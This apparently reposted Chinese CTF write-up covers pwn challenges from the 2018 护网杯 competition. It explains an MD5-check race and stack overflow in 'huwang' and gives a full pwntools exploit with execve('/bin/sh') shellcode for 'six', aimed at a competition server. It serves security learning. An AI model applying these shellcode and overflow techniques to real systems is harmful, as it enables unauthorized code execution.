141

2018护网杯 - pwn - writeup

 5 years ago
source link: http://m4x.fun/post/hwb2018-pwn-writeup/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

跟学校的队伍参加了又一次 ?网杯 ,记录一下 pwn 的 writeup。

gettingstart

binary & exploit here

这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考 stackexchange

shoppingcart

这道题目真是坑了很久,看到 strtoul 就没想通过负数数组越界了,后来发现可以负数越界时已经来不及写 exp 了。

huwang

binary & exploit here

听 charlie 师傅说这道题目抄了他给国赛出的题。。。

堆的功能没用,完全是硬加上去的。主要的逻辑在 666 这个选项里,功能是从 /dev/urandom 中读取 0xC 个字符,然后经过 n 轮 md5 运算,最后和用户的输入进行比较,如果比较成功则进入另一个有明显漏洞的函数,可以 leak 出 canary,stack 等信息,最后可以栈溢出,比较不成功则程序退出。

void __fastcall secret_in_secret(char *rdi0)
{
  char v1; // ST1B_1
  int s_len; // [rsp+1Ch] [rbp-214h]
  char occupation[256]; // [rsp+20h] [rbp-210h]
  char s[264]; // [rsp+120h] [rbp-110h]
  unsigned __int64 v5; // [rsp+228h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Congratulations, %s guessed my secret!\n", rdi0);// leak
  puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
  puts("What`s your occupation?");
  get_str(occupation, 255LL);
  s_len = snprintf(
            s,
            255uLL,
            "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome......"
            "....................................................................................................",
            rdi0,
            occupation);
  puts("Here is your introduce");
  puts(s);
  puts("Do you want to edit you introduce by yourself[Y/N]");
  v1 = getchar();
  getchar();
  if ( v1 == 'Y' )
    read(0, s, s_len - 1);                      // overflow
  printf("The final presentation is as follows:%s\n", s);
}

其中 md5 运算的轮数是用户决定的

puts("Input how many rounds do you want to encrypt the secret:");
    how_many = get_int();
    if ( how_many > 10 )
    {
      puts("What? Why do you need to encrypt so many times?");
      exit(-1);
    }
    if ( !how_many )
    {
      printf("At least encrypt one time", s_secret);
      exit(-1);
    }
    HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

只判断了大于 10 和不为 0 的情况,但我们可以输入负数,当输入负数时,在 signedunsigned 比较时 -1 会转化为一个很大的数,while 循环就会陷入一段很长时间的运算。

这时如果再开一个 io 连接远程进入到这个流程中,到 MD5 之前

HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

这里 open 是以 O_WRONLY | O_TRUNC 的 flags 打开的,其中 O_TRUNC 的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截短为 0 ,因此此时第二个 io 将得到一个空的 /tmp/secret ,因此只要我们输入 MD5('\0' * 16) 即可通过后边的 memcpy 验证,进入漏洞函数。

进入漏洞函数后,方法就很多了,通过 stack-pivot 进行 orw 或者 leak libc 进而 get shell 都可以,我选择的是使用 open, read, puts 的方法。运气比较好,rdx 满足条件。

six

总觉得这道题目以前在哪里见过,忘了是哪次比赛的了。

首先程序有两次 mmap,经过分析,两处空间分别用于保存 shellcode 和模拟栈,权限都是 rwx 。

void mmap_rwx()
{
  int fd; // ST04_4
  char buf[12]; // [rsp+8h] [rbp-18h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  read(fd, buf, 6uLL);
  read(fd, &buf[8], 6uLL);
  dest = mmap((void *)(*(_QWORD *)&buf[8] & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
  stack = (__int64)mmap((void *)(*(_QWORD *)buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280;
}

程序读取 6 个字节添加到一段 shellcode 之后,6 个字节要满足

  1. 3 个奇数 opcode,3个偶数 opcode
  2. 各不相同

程序给的 shellcode 为

.data:0000000000202020 ; char sc[1]
.data:0000000000202020 sc:                                     ; DATA XREF: main+71↑o
.data:0000000000202020                                         ; main+87↑o ...
.data:0000000000202020                 mov     rsp, rdi
.data:0000000000202023                 xor     rbp, rbp
.data:0000000000202026                 xor     rax, rax
.data:0000000000202029                 xor     rbx, rbx
.data:000000000020202C                 xor     rcx, rcx
.data:000000000020202F                 xor     rdx, rdx
.data:0000000000202032                 xor     rdi, rdi
.data:0000000000202035                 xor     rsi, rsi
.data:0000000000202038                 xor     r8, r8
.data:000000000020203B                 xor     r9, r9
.data:000000000020203E                 xor     r10, r10
.data:0000000000202041                 xor     r11, r11
.data:0000000000202044                 xor     r12, r12
.data:0000000000202047                 xor     r13, r13
.data:000000000020204A                 xor     r14, r14
.data:000000000020204D                 xor     r15, r15

清空了除 rsprip 之外的所有通用寄存器,并且可以看出 rsp 被设置为了我们之前 mmap 的空间用来模拟栈

.text:0000000000000C87                 mov     rdx, cs:stack
.text:0000000000000C8E                 mov     rax, [rbp+var_28]
.text:0000000000000C92                 mov     rdi, rdx
.text:0000000000000C95                 call    rax

这样就可以通过 0 号系统调用,即 sys_read 来读取一部分内容了,很自然的想法是读到栈顶(

read = asm('''
            push rsp
            pop rsi
            mov edx, esi
            syscall
            ''')
    assert len(read) < 7
    io.sendafter("shellcode:\n", read)

这段 shellcode 是符合要求的。

当两次 mmap 的距离比较近时,就可以通过第二次 read 来覆盖 shellcode,进而控制 rip。能控制 rip 的话,直接控制 rip 到我们写的 execve("/bin/sh", 0, 0) 即可。

我的 exp 如下:

HWB2018_six [master●●] bat solve.py 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: solve.py
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #!/usr/bin/env python
   2   │ # -*- coding: utf-8 -*-
   3   │ 
   4   │ from pwn import *
   5   │ import sys
   6   │ context.binary = "./six"
   7   │ context.log_level = "debug"
   8   │ context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
   9   │ 
  10   │ if sys.argv[1] == "l":
  11   │     #  io = process("./six")
  12   │     io = gdb.debug("./six", gdbscript = '''
  13   │             bpie 0xC95
  14   │             c
  15   │             si 
  16   │             si 
  17   │             si 
  18   │             si 
  19   │             si 
  20   │             si 
  21   │             si 
  22   │             si 
  23   │             si 
  24   │             si 
  25   │             si 
  26   │             si 
  27   │             si 
  28   │             si 
  29   │             si 
  30   │             si 
  31   │             si 
  32   │             si 
  33   │             si 
  34   │             si 
  35   │             ''')
  36 + │ 
  37   │ else:
  38   │     io = remote("49.4.79.0", 31166)
  39   │ 
  40   │ if __name__ == "__main__":
  41   │     read = asm('''
  42   │             push rsp
  43   │             pop rsi
  44   │             mov edx, esi
  45   │             syscall
  46   │             ''')
  47   │     assert len(read) < 7
  48   │     io.sendafter("shellcode:\n", read)
  49   │ 
  50   │     shell = asm('''
  51   │             mov eax, 0x3b
  52   │             mov rdi, rsi
  53   │             xor rdx, rdx
  54   │             xor rsi, rsi
  55   │             syscall
  56   │             ''')
  57   │ 
  58   │     payload = "/bin/sh\0".ljust(0xb36, '\0') + shell
  59   │     #  pause()
  60   │     io.sendline(payload)
  61   │ 
  62   │     io.interactive()
  63   │     # $ while true; do python exp.py r; done
───────┴─────────────────────────────────────────────────────────────────────────────────

成功率不是 100% 但也相当可观了。

calendar

题目已经提示了 house of roman ,伤心的是,我的 house of roman 远程从来没有成功过。。。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK